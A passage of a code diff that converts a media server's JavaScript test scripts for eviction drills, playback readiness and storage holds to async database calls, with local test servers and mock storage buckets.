+ assert.ok(s3log.some(([m, b]) => m === 'DELETE' && b === 'r2-bucket') && s3log.some(([m, b]) => m === 'PUT' && b === 'r2-bucket'), 'the R2 copy was really deleted and written back');
+ assert.ok(!s3log.some(([m, b]) => (m === 'DELETE' || m === 'PUT') && b === 'b2-bucket'), 'B2 was never written');
+ assert.deepStrictEqual(buckets['r2-bucket'].get(key1), bytes, 'R2 holds the same bytes again');
+ assert.strictEqual((await db.get('SELECT storage_provider FROM vods WHERE id = 1')).storage_provider, 'r2');
+ assert.deepStrictEqual(art.locations.after_evict.map((l) => l.provider).sort(), ['b2']);
+ assert.deepStrictEqual(art.locations.after.map((l) => [l.provider, l.state]).sort(), [['b2', 'present'], ['r2', 'present']]);
+ console.log('✅ execute: R2 copy evicted, /v served from B2 with the same bytes, R2 re-warmed and serving again');
- // ── A failed re-warm leaves the VOD served from B2 ──
- addVod(6);
- refusePutTo = 'r2-bucket';
- art = await runDrill(opts({ vodId: 6, execute: true, http: false }), deps);
- refusePutTo = null;
- assert.strictEqual(art.verdict, 'fail');
- assert.deepStrictEqual(art.steps.map((s) => s.ok), [true, true, true, false]);
- assert.strictEqual(art.steps[0].via, 'resolvePlayback', '--no-http decides in-process');
- assert.strictEqual(db.get('SELECT storage_provider FROM vods WHERE id = 6').storage_provider, 'b2');
- assert.strictEqual((await storage.resolvePlayback(db.get('SELECT * FROM vods WHERE id = 6'))).provider, 'b2', 'still served, from B2');
- console.log('✅ a failed re-warm stops the drill with the VOD served from B2');
+ // ── A failed re-warm leaves the VOD served from B2 ──
+ await addVod(6);
+ refusePutTo = 'r2-bucket';
+ art = await runDrill(opts({ vodId: 6, execute: true, http: false }), deps);
+ refusePutTo = null;
+ assert.strictEqual(art.verdict, 'fail');
+ assert.deepStrictEqual(art.steps.map((s) => s.ok), [true, true, true, false]);
+ assert.strictEqual(art.steps[0].via, 'resolvePlayback', '--no-http decides in-process');
+ assert.strictEqual((await db.get('SELECT storage_provider FROM vods WHERE id = 6')).storage_provider, 'b2');
+ assert.strictEqual((await storage.resolvePlayback(await db.get('SELECT * FROM vods WHERE id = 6'))).provider, 'b2', 'still served, from B2');
+ console.log('✅ a failed re-warm stops the drill with the VOD served from B2');
- // ── The CLI writes the artifact ──
- const out = path.join(tmp, 'artifact.json');
- const cli = await runCli(['--vod', '1', '--no-http', '--out', out]);
- assert.strictEqual(cli.status, 0, cli.stderr + cli.stdout);
- const saved = JSON.parse(fs.readFileSync(out, 'utf8'));
- assert.deepStrictEqual([saved.drill, saved.mode, saved.verdict, saved.vod_id], ['r2-eviction', 'dry-run', 'dry-run', 1]);
- const refused = await runCli(['--vod', '3', '--out', path.join(tmp, 'r.json')]);
- assert.strictEqual(refused.status, 2, 'refused -> exit 2');
- console.log('✅ CLI: dry run by default, JSON artifact written, exit codes');
+ // ── The CLI writes the artifact ──
+ const out = path.join(tmp, 'artifact.json');
+ const cli = await runCli(['--vod', '1', '--no-http', '--out', out]);
+ assert.strictEqual(cli.status, 0, cli.stderr + cli.stdout);
+ const saved = JSON.parse(fs.readFileSync(out, 'utf8'));
+ assert.deepStrictEqual([saved.drill, saved.mode, saved.verdict, saved.vod_id], ['r2-eviction', 'dry-run', 'dry-run', 1]);
+ const refused = await runCli(['--vod', '3', '--out', path.join(tmp, 'r.json')]);
+ assert.strictEqual(refused.status, 2, 'refused -> exit 2');
+ console.log('✅ CLI: dry run by default, JSON artifact written, exit codes');
- media.close();
- s3.close();
- console.log('\nr2 eviction drill: all checks passed');
- process.exit(0);
+ media.close();
+ s3.close();
+ console.log('\nr2 eviction drill: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,163 +12,165 @@ const os = require('os');
@@ -12,163 +12,165 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-readiness-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
-});
-for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-readiness-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
+ });
+ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const model = require('../server/objects/model');
-const readiness = require('../server/objects/readiness');
-const verifyJob = require('../server/objects/verify-job');
-const express = require('express');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const readiness = require('../server/objects/readiness');
+ const verifyJob = require('../server/objects/verify-job');
+ const express = require('express');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const raw = db.getDb();
-const vodFile = (n, bytes = 64) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };
-const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };
-const insVod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, storage_provider, health_status)
- VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, ?)`);
-const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds)
- VALUES (?, 'games', 1, ?, ?, 1, 'public', ?, 5)`);
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const raw = db.getDb();
+ const vodFile = (n, bytes = 64) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(bytes, 1)); return p; };
+ const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };
+ const insVod = raw.prepare(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, storage_provider, health_status) OVERRIDING SYSTEM VALUE
+ VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, ?) RETURNING id`);
+ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds) OVERRIDING SYSTEM VALUE
+ VALUES (?, 'games', 1, ?, ?, 1, 'public', ?, 5) RETURNING id`);
-insVod.run(1, 'games', 'Local and finished', vodFile('vod-games-1.webm'), 64, 60, 0, 'local', 'ok');
-insVod.run(2, 'games', 'Offloaded, never checked', '/old/vod-games-2.webm', 64, 60, 0, 'b2', 'ok');
-insVod.run(3, 'games', 'Still recording', vodFile('vod-games-3.webm'), 0, 0, 1, 'local', 'unknown');
-insVod.run(4, 'games', 'Broken', vodFile('vod-games-4.webm'), 64, 60, 0, 'local', 'corrupt');
-insVod.run(5, 'games', 'File gone', '/nowhere/vod-games-5.webm', 64, 60, 0, 'local', 'ok');
-insClip.run(11, 'Cut', clipFile('clip-11.webm'), 'ready');
-insClip.run(12, 'Being cut', '', 'processing');
-insClip.run(13, 'Cut failed', '', 'failed');
-for (const id of [1, 2, 3, 4, 5]) model.sync('vod', id);
-for (const id of [11, 12, 13]) model.sync('clip', id);
-const vod = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);
-const clip = (id) => db.get('SELECT * FROM clips WHERE id = ?', [id]);
-const r = (row) => readiness.forRow(row);
+ await insVod.run(1, 'games', 'Local and finished', vodFile('vod-games-1.webm'), 64, 60, 0, 'local', 'ok');
+ await insVod.run(2, 'games', 'Offloaded, never checked', '/old/vod-games-2.webm', 64, 60, 0, 'b2', 'ok');
+ await insVod.run(3, 'games', 'Still recording', vodFile('vod-games-3.webm'), 0, 0, 1, 'local', 'unknown');
+ await insVod.run(4, 'games', 'Broken', vodFile('vod-games-4.webm'), 64, 60, 0, 'local', 'corrupt');
+ await insVod.run(5, 'games', 'File gone', '/nowhere/vod-games-5.webm', 64, 60, 0, 'local', 'ok');
+ await insClip.run(11, 'Cut', clipFile('clip-11.webm'), 'ready');
+ await insClip.run(12, 'Being cut', '', 'processing');
+ await insClip.run(13, 'Cut failed', '', 'failed');
+ for (const id of [1, 2, 3, 4, 5]) await model.sync('vod', id);
+ for (const id of [11, 12, 13]) await model.sync('clip', id);
+ const vod = async (id) => await db.get('SELECT * FROM vods WHERE id = ?', [id]);
+ const clip = async (id) => await db.get('SELECT * FROM clips WHERE id = ?', [id]);
+ const r = async (row) => await readiness.forRow(row);
-// ── compute(): from the object and its copies ──
-assert.deepStrictEqual(readiness.forRow({ id: 99 }), { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' });
-assert.deepStrictEqual(r(vod(1)), { metadata: true, bytes_verified: true, playable: true, hash_verified: false, verified_copies: ['local'], reason: null },
- 'a finished VOD whose local file was checked is playable');
-assert.deepStrictEqual([r(vod(2)).bytes_verified, r(vod(2)).playable, r(vod(2)).reason], [false, false, 'verification_pending'],
- 'a B2 copy nobody has checked yet is not verified bytes');
-assert.deepStrictEqual([r(vod(3)).playable, r(vod(3)).reason], [false, 'recording'], 'a recording in progress is not complete');
-assert.strictEqual(r(vod(3)).bytes_verified, true, 'its bytes on disk are verified all the same');
-assert.deepStrictEqual([r(vod(4)).playable, r(vod(4)).reason], [false, 'failed']);
-assert.deepStrictEqual([r(vod(5)).bytes_verified, r(vod(5)).reason], [false, 'no_verified_copy'], 'a missing local file is no copy at all');
-assert.deepStrictEqual([r(clip(11)).playable, r(clip(12)).reason, r(clip(13)).reason], [true, 'processing', 'failed']);
-console.log('✅ readiness: playable only for a finished vod/clip with a verified copy; the reason otherwise');
+ // ── compute(): from the object and its copies ──
+ assert.deepStrictEqual(await readiness.forRow({ id: 99 }), { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' });
+ assert.deepStrictEqual(await r(await vod(1)), { metadata: true, bytes_verified: true, playable: true, hash_verified: false, verified_copies: ['local'], reason: null },
+ 'a finished VOD whose local file was checked is playable');
+ assert.deepStrictEqual([(await r(await vod(2))).bytes_verified, (await r(await vod(2))).playable, (await r(await vod(2))).reason], [false, false, 'verification_pending'],
+ 'a B2 copy nobody has checked yet is not verified bytes');
+ assert.deepStrictEqual([(await r(await vod(3))).playable, (await r(await vod(3))).reason], [false, 'recording'], 'a recording in progress is not complete');
+ assert.strictEqual((await r(await vod(3))).bytes_verified, true, 'its bytes on disk are verified all the same');
+ assert.deepStrictEqual([(await r(await vod(4))).playable, (await r(await vod(4))).reason], [false, 'failed']);
+ assert.deepStrictEqual([(await r(await vod(5))).bytes_verified, (await r(await vod(5))).reason], [false, 'no_verified_copy'], 'a missing local file is no copy at all');
+ assert.deepStrictEqual([(await r(await clip(11))).playable, (await r(await clip(12))).reason, (await r(await clip(13))).reason], [true, 'processing', 'failed']);
+ console.log('✅ readiness: playable only for a finished vod/clip with a verified copy; the reason otherwise');
-// Hashes: a checksum that contradicts content_hash is not a verified copy; a matching one is hash-verified.
-const o1 = vod(1).object_id;
-const loc1 = db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [o1]);
-raw.prepare('UPDATE media_objects SET content_hash = ? WHERE id = ?').run('a'.repeat(64), o1);
-raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('b'.repeat(64), loc1.id);
-assert.deepStrictEqual([r(vod(1)).bytes_verified, r(vod(1)).playable, r(vod(1)).reason], [false, false, 'no_verified_copy'], 'a copy whose sha256 disagrees is not verified');
-raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('a'.repeat(64), loc1.id);
-assert.deepStrictEqual([r(vod(1)).playable, r(vod(1)).hash_verified], [true, true]);
-raw.prepare("UPDATE media_locations SET state = 'corrupt' WHERE id = ?").run(loc1.id);
-assert.strictEqual(r(vod(1)).playable, false, 'a copy the verification found corrupt is not verified');
-// Back to the truth: the file's real sha256 on the object and its copy (what the object.hash job records).
-const realHash = require('crypto').createHash('sha256').update(fs.readFileSync(loc1.key)).digest('hex');
-raw.prepare("UPDATE media_objects SET content_hash = ? WHERE id = ?").run(realHash, o1);
-raw.prepare("UPDATE media_locations SET state = 'present', checksum = ? WHERE id = ?").run(realHash, loc1.id);
+ // Hashes: a checksum that contradicts content_hash is not a verified copy; a matching one is hash-verified.
+ const o1 = (await vod(1)).object_id;
+ const loc1 = await db.get("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [o1]);
+ await raw.prepare('UPDATE media_objects SET content_hash = ? WHERE id = ?').run('a'.repeat(64), o1);
+ await raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('b'.repeat(64), loc1.id);
+ assert.deepStrictEqual([(await r(await vod(1))).bytes_verified, (await r(await vod(1))).playable, (await r(await vod(1))).reason], [false, false, 'no_verified_copy'], 'a copy whose sha256 disagrees is not verified');
+ await raw.prepare('UPDATE media_locations SET checksum = ? WHERE id = ?').run('a'.repeat(64), loc1.id);
+ assert.deepStrictEqual([(await r(await vod(1))).playable, (await r(await vod(1))).hash_verified], [true, true]);
+ await raw.prepare("UPDATE media_locations SET state = 'corrupt' WHERE id = ?").run(loc1.id);
+ assert.strictEqual((await r(await vod(1))).playable, false, 'a copy the verification found corrupt is not verified');
+ // Back to the truth: the file's real sha256 on the object and its copy (what the object.hash job records).
+ const realHash = require('crypto').createHash('sha256').update(fs.readFileSync(loc1.key)).digest('hex');
+ await raw.prepare("UPDATE media_objects SET content_hash = ? WHERE id = ?").run(realHash, o1);
+ await raw.prepare("UPDATE media_locations SET state = 'present', checksum = ? WHERE id = ?").run(realHash, loc1.id);
-// Deleted, and kinds that do not play.
-const fileId = model.createObject({ app_id: 'games', kind: 'file', lifecycle_status: 'ready', visibility: 'public', size_bytes: 3 });
-const fp = model.objectFilePath(model.getObject(fileId));
-fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, 'abc');
-model.upsertLocation(fileId, { provider: 'local', key: fp, state: 'present', size_bytes: 3, verified: true });
-assert.deepStrictEqual([readiness.compute(model.getObject(fileId)).bytes_verified, readiness.compute(model.getObject(fileId)).reason], [true, 'not_playback_kind']);
-const gone = model.createObject({ app_id: 'games', kind: 'vod', lifecycle_status: 'deleted', visibility: 'public', size_bytes: 3 });
-assert.strictEqual(readiness.compute(model.getObject(gone)).reason, 'deleted');
+ // Deleted, and kinds that do not play.
+ const fileId = await model.createObject({ app_id: 'games', kind: 'file', lifecycle_status: 'ready', visibility: 'public', size_bytes: 3 });
+ const fp = model.objectFilePath(await model.getObject(fileId));
+ fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, 'abc');
+ await model.upsertLocation(fileId, { provider: 'local', key: fp, state: 'present', size_bytes: 3, verified: true });
+ assert.deepStrictEqual([(await readiness.compute(await model.getObject(fileId))).bytes_verified, (await readiness.compute(await model.getObject(fileId))).reason], [true, 'not_playback_kind']);
+ const gone = await model.createObject({ app_id: 'games', kind: 'vod', lifecycle_status: 'deleted', visibility: 'public', size_bytes: 3 });
+ assert.strictEqual((await readiness.compute(await model.getObject(gone))).reason, 'deleted');
-// The SQL form (sitemap) agrees with compute() on every object.
-for (const o of db.all('SELECT * FROM media_objects')) {
- const sql = !!db.get(`SELECT ${readiness.playableSql('?')} AS p`, [o.id]).p;
- assert.strictEqual(sql, readiness.compute(o).playable, `playableSql agrees for ${o.legacy_ref || o.id}`);
-}
-console.log('✅ readiness: hash contradictions, corrupt copies, deletion and non-playback kinds; playableSql() agrees');
+ // The SQL form (sitemap) agrees with compute() on every object.
+ for (const o of await db.all('SELECT * FROM media_objects')) {
+ const sql = !!(await db.get(`SELECT ${readiness.playableSql('?')} AS p`, [o.id])).p;
+ assert.strictEqual(sql, (await readiness.compute(o)).playable, `playableSql agrees for ${o.legacy_ref || o.id}`);
+ }
+ console.log('✅ readiness: hash contradictions, corrupt copies, deletion and non-playback kinds; playableSql() agrees');
-(async () => {
- // ── The scheduled verification is what makes an offloaded VOD playable ──
- const o2 = vod(2).object_id;
- await verifyJob.runOnce({ batch: 50, head: async (provider) => (provider === 'b2' ? { size: 64 } : null), upload: async () => undefined });
- assert.deepStrictEqual([r(vod(2)).bytes_verified, r(vod(2)).playable, r(vod(2)).verified_copies], [true, true, ['b2']],
- 'a HEAD with the right size verifies the B2 copy');
- raw.prepare("UPDATE media_locations SET state = 'pending', verified_at = NULL WHERE object_id = ?").run(o2);
- console.log('✅ readiness: an offloaded VOD becomes playable once its copy is verified');
+ (async () => {
+ // ── The scheduled verification is what makes an offloaded VOD playable ──
+ const o2 = (await vod(2)).object_id;
+ await verifyJob.runOnce({ batch: 50, head: async (provider) => (provider === 'b2' ? { size: 64 } : null), upload: async () => undefined });
+ assert.deepStrictEqual([(await r(await vod(2))).bytes_verified, (await r(await vod(2))).playable, (await r(await vod(2))).verified_copies], [true, true, ['b2']],
+ 'a HEAD with the right size verifies the B2 copy');
+ await raw.prepare("UPDATE media_locations SET state = 'pending', verified_at = NULL WHERE object_id = ?").run(o2);
+ console.log('✅ readiness: an offloaded VOD becomes playable once its copy is verified');
- // ── HTTP: v1 JSON, v2 JSON, watch pages ──
- const app = express();
- app.use(express.json());
- app.use('/api/v1/:app/vods', require('../server/vod/routes'));
- app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
- app.use('/api/v2/:app/objects', require('../server/objects/routes'));
- app.use('/', require('../server/public/routes'));
- const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });
- const get = (p, headers = {}) => new Promise((resolve, reject) => {
- http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {
- let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; });
- res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body, json: () => JSON.parse(body) }));
- }).on('error', reject);
- });
- const key = { authorization: 'Bearer games-key' };
- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
+ // ── HTTP: v1 JSON, v2 JSON, watch pages ──
+ const app = express();
+ app.use(express.json());
+ app.use('/api/v1/:app/vods', require('../server/vod/routes'));
+ app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));
+ app.use('/api/v2/:app/objects', require('../server/objects/routes'));
+ app.use('/', require('../server/public/routes'));
+ const server = await new Promise((res) => { const s = app.listen(0, '127.0.0.1', () => res(s)); });
+ const get = (p, headers = {}) => new Promise((resolve, reject) => {
+ http.get({ host: '127.0.0.1', port: server.address().port, path: p, headers }, (res) => {
+ let body = ''; res.setEncoding('utf8'); res.on('data', c => { body += c; });
+ res.on('end', () => resolve({ status: res.statusCode, headers: res.headers, body, json: () => JSON.parse(body) }));
+ }).on('error', reject);
+ });
+ const key = { authorization: 'Bearer games-key' };
+ const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };
- let res = await get('/api/v1/games/vods/1', key);
- assert.strictEqual(res.status, 200);
- assert.deepStrictEqual([res.json().status, res.json().readiness.playable], ['ready', true], 'GET /vods/:id carries readiness');
- res = await get('/api/v1/games/vods/2', key);
- assert.deepStrictEqual([res.json().status, res.json().readiness.playable, res.json().readiness.reason], ['ready', false, 'verification_pending'],
- 'status stays as it was; readiness says the bytes are not verified');
- assert.ok(res.json().playback_url, 'existing fields are unchanged');
- res = await get('/api/v1/games/vods?include_recording=1', key);
- assert.ok(res.json().vods.every(v => v.readiness && typeof v.readiness.playable === 'boolean'), 'lists carry it too');
- res = await get('/api/v1/games/clips/12', key);
- assert.deepStrictEqual([res.json().status, res.json().readiness.reason], ['processing', 'processing']);
- res = await get(`/api/v2/games/objects/${vod(1).object_id}`, key);
- assert.deepStrictEqual(res.json().readiness, { metadata: true, bytes_verified: true, playable: true, hash_verified: true, verified_copies: ['local'], reason: null });
- res = await get('/api/v2/games/objects?kind=vod', key);
- assert.ok(res.json().objects.find(o => o.id === vod(2).object_id).readiness.reason === 'verification_pending', 'the v2 list carries it');
- console.log('✅ v1 VOD/clip JSON and v2 object JSON carry readiness (existing fields unchanged)');
+ let res = await get('/api/v1/games/vods/1', key);
+ assert.strictEqual(res.status, 200);
+ assert.deepStrictEqual([res.json().status, res.json().readiness.playable], ['ready', true], 'GET /vods/:id carries readiness');
+ res = await get('/api/v1/games/vods/2', key);
+ assert.deepStrictEqual([res.json().status, res.json().readiness.playable, res.json().readiness.reason], ['ready', false, 'verification_pending'],
+ 'status stays as it was; readiness says the bytes are not verified');
+ assert.ok(res.json().playback_url, 'existing fields are unchanged');
+ res = await get('/api/v1/games/vods?include_recording=1', key);
+ assert.ok(res.json().vods.every(v => v.readiness && typeof v.readiness.playable === 'boolean'), 'lists carry it too');
+ res = await get('/api/v1/games/clips/12', key);
+ assert.deepStrictEqual([res.json().status, res.json().readiness.reason], ['processing', 'processing']);
+ res = await get(`/api/v2/games/objects/${(await vod(1)).object_id}`, key);
+ assert.deepStrictEqual(res.json().readiness, { metadata: true, bytes_verified: true, playable: true, hash_verified: true, verified_copies: ['local'], reason: null });
+ res = await get('/api/v2/games/objects?kind=vod', key);
+ const vod2 = await vod(2);
+ assert.ok(res.json().objects.find(o => o.id === vod2.object_id).readiness.reason === 'verification_pending', 'the v2 list carries it');
+ console.log('✅ v1 VOD/clip JSON and v2 object JSON carry readiness (existing fields unchanged)');
- const hasPlayer = (html) => /<video[\s>]/.test(html);
- res = await get('/v/1', nav);
- assert.ok(hasPlayer(res.body) && res.body.includes('<meta property="og:video"'), 'a playable VOD gets its player');
- res = await get('/v/2', nav);
- assert.strictEqual(res.status, 200);
- assert.ok(!hasPlayer(res.body), 'no player for bytes nobody verified');
- assert.ok(res.body.includes('Still processing') && res.body.includes('data-readiness="verification_pending"'));
- assert.ok(res.body.includes('content="noindex, follow"') && !res.body.includes('og:video') && !res.body.includes('application/ld+json') && !res.body.includes(' download>'),
- 'no index, no video metadata, no structured data, no download');
- res = await get('/v/3', nav);
- assert.ok(!hasPlayer(res.body) && res.body.includes('Still being recorded'));
- res = await get('/v/3?raw=1', {});
- assert.strictEqual(res.status, 200, 'the bytes of a recording still serve (Live\'s DVR reads them)');
- res = await get('/v/4', nav);
- assert.ok(!hasPlayer(res.body) && res.body.includes('could not be processed'));
- res = await get('/v/5', nav);
- assert.ok(!hasPlayer(res.body) && res.body.includes('No verified copy'));
- res = await get('/c/11', nav);
- assert.ok(hasPlayer(res.body), 'a cut clip plays');
- res = await get('/c/12', nav);
- assert.deepStrictEqual([res.status, hasPlayer(res.body), res.body.includes('still being cut')], [200, false, true], 'a clip being cut says so');
- res = await get('/c/12', { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' });
- assert.deepStrictEqual([res.status, res.json().error], [404, 'Not found'], 'its bytes are still a plain 404');
- res = await get('/c/13', nav);
- assert.ok(!hasPlayer(res.body) && res.body.includes('could not be cut'));
- console.log('✅ watch pages offer a player only when playable, and say why otherwise; the bytes route is unchanged');
+ const hasPlayer = (html) => /<video[\s>]/.test(html);
+ res = await get('/v/1', nav);
+ assert.ok(hasPlayer(res.body) && res.body.includes('<meta property="og:video"'), 'a playable VOD gets its player');
+ res = await get('/v/2', nav);
+ assert.strictEqual(res.status, 200);
+ assert.ok(!hasPlayer(res.body), 'no player for bytes nobody verified');
+ assert.ok(res.body.includes('Still processing') && res.body.includes('data-readiness="verification_pending"'));
+ assert.ok(res.body.includes('content="noindex, follow"') && !res.body.includes('og:video') && !res.body.includes('application/ld+json') && !res.body.includes(' download>'),
+ 'no index, no video metadata, no structured data, no download');
+ res = await get('/v/3', nav);
+ assert.ok(!hasPlayer(res.body) && res.body.includes('Still being recorded'));
+ res = await get('/v/3?raw=1', {});
+ assert.strictEqual(res.status, 200, 'the bytes of a recording still serve (Live\'s DVR reads them)');
+ res = await get('/v/4', nav);
+ assert.ok(!hasPlayer(res.body) && res.body.includes('could not be processed'));
+ res = await get('/v/5', nav);
+ assert.ok(!hasPlayer(res.body) && res.body.includes('No verified copy'));
+ res = await get('/c/11', nav);
+ assert.ok(hasPlayer(res.body), 'a cut clip plays');
+ res = await get('/c/12', nav);
+ assert.deepStrictEqual([res.status, hasPlayer(res.body), res.body.includes('still being cut')], [200, false, true], 'a clip being cut says so');
+ res = await get('/c/12', { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' });
+ assert.deepStrictEqual([res.status, res.json().error], [404, 'Not found'], 'its bytes are still a plain 404');
+ res = await get('/c/13', nav);
+ assert.ok(!hasPlayer(res.body) && res.body.includes('could not be cut'));
+ console.log('✅ watch pages offer a player only when playable, and say why otherwise; the bytes route is unchanged');
- server.close();
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('readiness: all checks passed');
- process.exit(0);
+ server.close();
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('readiness: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -12,215 +12,206 @@ const os = require('os');
@@ -12,215 +12,206 @@ const os = require('os');
const path = require('path');
const path = require('path');
const http = require('http');
const http = require('http');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-holds-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-Object.assign(process.env, {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
- OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
-});
-for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
-delete process.env.PASTES_FROZEN_APPS;
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-holds-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ Object.assign(process.env, {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), FILES_PATH: dir('files'),
+ OBJECTS_PATH: dir('objects'), THUMBNAILS_PATH: dir('thumbnails'), PASTES_PATH: dir('pastes'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'https://openvibe.network',
+ });
+ for (const k of Object.keys(process.env)) if (/^MEDIA_(B2|R2)_/.test(k)) delete process.env[k];
+ delete process.env.PASTES_FROZEN_APPS;
-const db = require('../server/db/database');
-require('../server/views/service').ensureSchema();
-const model = require('../server/objects/model');
-const vodStorage = require('../server/vod/vod-storage');
-const express = require('express');
+ const db = require('../server/db/database');
+ const model = require('../server/objects/model');
+ const vodStorage = require('../server/vod/vod-storage');
+ // The revisioned tier policies load once the database is open (server/index.js does this at boot).
+ await vodStorage.tierConfig.init(vodStorage.DEFAULTS);
+ await require('../server/objects/tier-policy').init();
+ const express = require('express');
-db.upsertApp({ app_id: 'live', api_key: 'live-key' });
-db.upsertApp({ app_id: 'games', api_key: 'games-key' });
-const raw = () => db.getDb();
-const file = (d, name, bytes = 64) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(bytes, 3)); return p; };
-const insVod = (id, name, { app = 'live', bytes = 64, recording = 0, clipsOnly = 0, duration = 60 } = {}) => raw().prepare(
- `INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, clips_only, storage_provider)
- VALUES (?, ?, ?, ?, ?, 1, 'public', ?, ?, ?, 'local')`).run(id, app, `vod ${id}`, name ? file(process.env.VOD_PATH, name, bytes) : null, bytes, duration, recording, clipsOnly);
-const insClip = (id, vodId, name) => raw().prepare(`INSERT INTO clips (id, app_id, vod_id, title, file_path, is_public, visibility, status, duration_seconds)
- VALUES (?, 'live', ?, ?, ?, 1, 'public', 'ready', 5)`).run(id, vodId, `clip ${id}`, file(process.env.CLIPS_PATH, name, 32));
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ await db.upsertApp({ app_id: 'games', api_key: 'games-key' });
+ const raw = () => db.getDb();
+ const file = (d, name, bytes = 64) => { const p = path.join(d, name); fs.writeFileSync(p, Buffer.alloc(bytes, 3)); return p; };
+ const insVod = async (id, name, { app = 'live', bytes = 64, recording = 0, clipsOnly = 0, duration = 60 } = {}) => await raw().prepare(
+ `INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, is_recording, clips_only, storage_provider) OVERRIDING SYSTEM VALUE
